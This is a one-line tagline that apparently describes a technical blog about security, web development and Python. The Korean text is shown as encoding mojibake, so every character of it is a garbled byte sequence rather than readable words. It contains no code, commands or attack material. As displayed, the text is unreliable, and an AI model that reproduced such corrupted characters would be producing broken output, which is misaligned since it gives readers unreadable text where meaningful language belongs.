๋ณด์•ˆ, ์›น ๊ฐœ๋ฐœ, Python์„ ๋‹ค๋ฃจ๋Š” ๊ธฐ์ˆ  ๋ธ”๋กœ๊ทธ